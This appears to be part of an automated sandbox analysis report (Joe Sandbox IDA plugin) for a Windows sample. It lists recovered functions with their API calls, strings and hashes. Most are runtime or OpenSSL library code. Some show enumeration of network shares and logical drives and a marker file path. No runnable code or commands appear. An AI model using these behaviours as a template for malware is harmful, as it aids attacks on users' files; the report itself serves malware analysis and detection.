__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 83c283a83e3b6ec64f5d0c5989118488c3e7ded4ed41135c2216c27b25e3ace2
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 83c283a83e3b6ec64f5d0c5989118488c3e7ded4ed41135c2216c27b25e3ace2
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
